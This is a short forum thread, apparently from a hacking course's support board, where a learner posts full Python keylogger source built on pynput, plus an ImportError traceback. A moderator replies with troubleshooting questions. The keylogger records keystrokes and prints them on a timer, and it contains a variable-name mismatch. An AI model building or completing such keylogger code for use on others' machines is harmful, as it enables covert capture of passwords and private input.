This topic has 3 replies, 2 voices, and was last updated 11 months ago by diego. Viewing 4 posts - 1 through 4 (of 4 total) Author Posts July 18, 2020 at 7:21 pm #42616 BornrichParticipant I have python3, installed pynput and I’m getting error trying to run the keylogger.py code on my terminal. Traceback (most recent call last): File “zlogger.py”, line 2, in <module> import keylogger File “/root/PycharmProjects/Keylogger/keylogger.py”, line 2, in <module> import pynput.keyboard ImportError: No module named pynput.keyboard KEYLOGGER CODE #!/usr/bin/env python import pynput.keyboard import threading log = “” class Keylogger: def process_key_press(self, key): global log try: log = log + str(key.char) except AttributeError: if key == key.space: log = log + ” ” else: log = log + ” ” + str(key) + ” ” def report(self): global log print(log) log = “” timer = threading.Timer(5, self.report) timer.start() def start(self): Keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join() Zlogger Code #!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger() my_keylogger.start() July 19, 2020 at 4:21 am #42633 diegoModerator Hi! Did you also installed pynput for python3? Let me know. Diego July 27, 2020 at 4:16 pm #43148 BornrichParticipant Yes, I did. I am stuck I have no idea what else to do. July 28, 2020 at 4:19 am #43183 diegoModerator Hi! How are you running the code? Can you share a screenshot of the command used and the result please? Thanks! Diego Author Posts Viewing 4 posts - 1 through 4 (of 4 total) You must be logged in to reply to this topic.